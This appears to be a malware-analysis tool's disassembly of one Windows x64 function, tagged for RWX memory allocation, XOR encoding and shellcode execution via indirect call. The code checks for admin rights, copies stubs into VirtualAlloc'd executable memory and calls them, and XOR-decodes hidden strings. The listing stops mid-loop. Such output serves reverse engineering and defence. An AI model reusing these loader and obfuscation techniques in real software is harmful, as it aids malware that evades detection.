Function at 0x1401fa1b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1f8]
sub rsp, 0x2d0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
mov rax, qword [0x140280040]
xor rax, rsp
mov qword [rbp + 0x158], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
lea rcx, [rbp + 0x1f8]
movabs rdi, 0xff00ff00ff00ff00
mov qword [rbp + 0x148], rdi
mov qword [rbp + 0x150], rcx
mov rax, qword [rcx]
xor rax, rdi
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x140], rax
mov qword [rcx], r12
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1401fa3eb
cmp qword [rbx + 0x18], 0xf
jbe 0x1401fa269
mov rbx, qword [rbx]
mov qword [rsp + 0x40], rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea r13, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], r13
mov r15, qword [r13]
xor r15, rdi
mov qword [rbp + 0xe0], r15
mov qword [r13], r12
mov ecx, r12d
lea r14, [0x14023a550]
lea rbx, [0x140000000]
mov rax, qword [0x140287090]
test rax, rax
je 0x1401fa2e9
mov rdx, r12
nop
cmp rax, r14
je 0x1401fa2d8
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x287090]
test rax, rax
jne 0x1401fa2c0
jmp 0x1401fa2e9
mov r8, qword [rbx + rdx*8 + 0x285700]
test r8, r8
jne 0x1401fa3cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401fa312
mov r8, r12
jmp 0x1401fa3ae
mov rax, r14
mov rcx, r8
mov esi, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x1401fa320
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283160]
mov qword [rbx + rax*8 + 0x287090], r14
mov qword [rbx + rax*8 + 0x285700], r8
inc rax
mov qword [0x140283160], rax
lea rdx, [rsp + 0x40]
lea rcx, [fcn.1401f5e50]
call r8
nop
xor r15, rdi
mov qword [r13], r15
jmp 0x1401fbf95
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.1401f5460
nop
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.1401f89b0
nop
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.1401f55b0
nop
lea rcx, [rbp + 0xc0]
call fcn.140238600
nop
lea rcx, [rbp - 0x70]
call fcn.140238600
movups xmm0, xmmword [str.IXXa____ose]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x14026e608]
movups xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [0x14026e618]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14026e628]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x14026e630]
mov dword [rbp - 0x80], eax
movzx eax, word [0x14026e634]
mov word [rbp - 0x7c], ax
movzx eax, byte [0x14026e636]
mov byte [rbp - 0x7a], al
mov r9d, r12d
movdqa xmm6, xmmword [0x1402702b0]
movdqa xmm9, xmmword [0x1402702d0]
movdqa xmm11, xmmword [str.ffffkkkk]
movdqa xmm12, xmmword [0x140270310]
movdqa xmm7, xmmword [0x140270300]
movdqa xmm8, xmmword [0x1402702f0]
movdqa xmm10, xmmword [0x1402701a0]
mov r15d, dword [0x140280090]
cmp r15d, 2
jl 0x1401fa671
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rsp + 0x4c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1401fa4f0
cmp r9d, 0x3f
jge 0x1401fa6cf
movsxd rax, r9d
lea r10, [rsp + 0x48]
add r10, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x3b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1401fa680
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r14, qword [rax]
xor r14, rdi
mov qword [rbp + 0xe0], r14
mov qword [rax], r12
mov ecx, r12d
mov esi, 3
lea rbx, [0x140000000]
lea r13, [0x14023a550]
mov rax, qword [0x140284430]
test rax, rax
je 0x1401fa759
mov rdx, r12
nop dword [rax]
cmp rax, r13
je 0x1401fa748
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x284430]
test rax, rax
jne 0x1401fa730
jmp 0x1401fa759
mov r8, qword [rbx + rdx*8 + 0x283de0]
test r8, r8
jne 0x1401fa83f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401fa782
mov r8, r12
jmp 0x1401fa81e
mov rax, r13
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fa790
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283aa0]
mov qword [rbx + rax*8 + 0x284430], r13
mov qword [rbx + rax*8 + 0x283de0], r8
inc rax
mov qword [0x140283aa0], rax
lea rdx, [rsp + 0x40]
lea rcx, [fcn.1401f5e50]
call r8
nop
mov dword [rsp + 0x40], 0x96
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xe0], r14
mov qword [rax], r12
mov ecx, r12d
lea r13, [0x14023a580]
mov rax, qword [0x140284100]
test rax, rax
je 0x1401fa8c9
mov rdx, r12
nop dword [rax]
cmp rax, r13
je 0x1401fa8b8
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x284100]
test rax, rax
jne 0x1401fa8a0
jmp 0x1401fa8c9
mov r8, qword [rbx + rdx*8 + 0x2863e0]
test r8, r8
jne 0x1401fa9af
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401fa8f2
mov r8, r12
jmp 0x1401fa98e
mov rax, r13
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fa900
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284750]
mov qword [rbx + rax*8 + 0x284100], r13
mov qword [rbx + rax*8 + 0x2863e0], r8
inc rax
mov qword [0x140284750], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r14, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r14
movups xmm0, xmmword [0x14026e8f0]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x14026e900]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x14026e910]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x14026e920]
movups xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [0x14026e930]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x14026e940]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x14026e950]
movups xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x14026e960]
movsd qword [rbp + 0xb0], xmm0
movzx eax, byte [0x14026e968]
mov byte [rbp + 0xb8], al
mov r9d, r12d
cmp r15d, 2
jl 0x1401fabe1
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp + 0x44]
mov edx, dword [rbp + 0xe0]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x1401faa60
cmp r9d, 0x79
jge 0x1401fac3f
movsxd rax, r9d
lea r10, [rbp + 0x40]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x3b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x1401fabf0
movups xmm0, xmmword [str.IXXa__ii]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x14026e500]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x14026e510]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x14026e520]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x14026e530]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x14026e540]
movups xmmword [rbp + 0x20], xmm1
movsd xmm0, qword [0x14026e550]
movsd qword [rbp + 0x30], xmm0
movzx eax, word [0x14026e558]
mov word [rbp + 0x38], ax
movzx eax, byte [0x14026e55a]
mov byte [rbp + 0x3a], al
mov r9d, r12d
cmp r15d, 2
jl 0x1401fae51
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp - 0x2c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x1401facd0
cmp r9d, 0x6b
jge 0x1401faeaf
movsxd rax, r9d
lea r10, [rbp - 0x30]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x3b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x1401fae60
lea rax, [rbp - 0x30]
mov r15, 0xffffffffffffffff
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1401faec0
movabs r13, 0x7fffffffffffffff
mov rax, r13
mov rdx, qword [rbp + 0x130]
sub rax, rdx
cmp rax, rcx
jb 0x1401fbffc
lea rax, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rax, qword [rbp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x30]
lea rcx, [rsp + 0x48]
call fcn.14023da50
nop
lea rax, [rbp + 0x40]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1401faf25
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140236db0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rax, qword [rbp + 0x100]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
lea r14, [0x14023a550]
mov rax, qword [0x140287090]
test rax, rax
je 0x1401fb009
xor edx, edx
nop dword [rax]
cmp rax, r14
je 0x1401faff8
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x287090]
test rax, rax
jne 0x1401fafe0
jmp 0x1401fb009
mov r8, qword [rbx + rdx*8 + 0x285700]
test r8, r8
jne 0x1401fb0ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401fb0ce
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fb040
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283160]
mov qword [rbx + rax*8 + 0x287090], r14
mov qword [rbx + rax*8 + 0x285700], r8
inc rax
mov qword [0x140283160], rax
lea rdx, [rsp + 0x40]
lea rcx, [fcn.1401f5e50]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
lea rcx, [rbp + 0x100]
call fcn.140238700
nop
lea rcx, [rsp + 0x48]
call fcn.140238700
mov dword [rsp + 0x40], 0x96
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x140284100]
test rax, rax
je 0x1401fb19e
xor edx, edx
lea r8, [0x14023a580]
cmp rax, r8
je 0x1401fb18d
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x284100]
test rax, rax
jne 0x1401fb175
jmp 0x1401fb19e
mov r8, qword [rbx + rdx*8 + 0x2863e0]
test r8, r8
jne 0x1401fb286
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401fb25e
lea rax, [0x14023a580]
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401fb1d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284750]
lea rcx, [0x14023a580]
mov qword [rbx + rax*8 + 0x284100], rcx
mov qword [rbx + rax*8 + 0x2863e0], r8
inc rax
mov qword [0x140284750], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
movups xmm0, xmmword [str.HI37eh_vk]
movups xmmword [rbp + 0x100], xmm0
movsd xmm0, qword [0x14026ef60]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x14026ef68]
mov dword [rbp + 0x118], eax
movzx eax, word [0x14026ef6c]
mov word [rbp + 0x11c], ax
cmp byte [0x14026ef6d], 0
je 0x1401fb4ef
xor r9d, r9d
cmp dword [0x140280090], 2
jl 0x1401fb491
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp + 0x104]
mov edx, dword [rbp + 0xe0]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
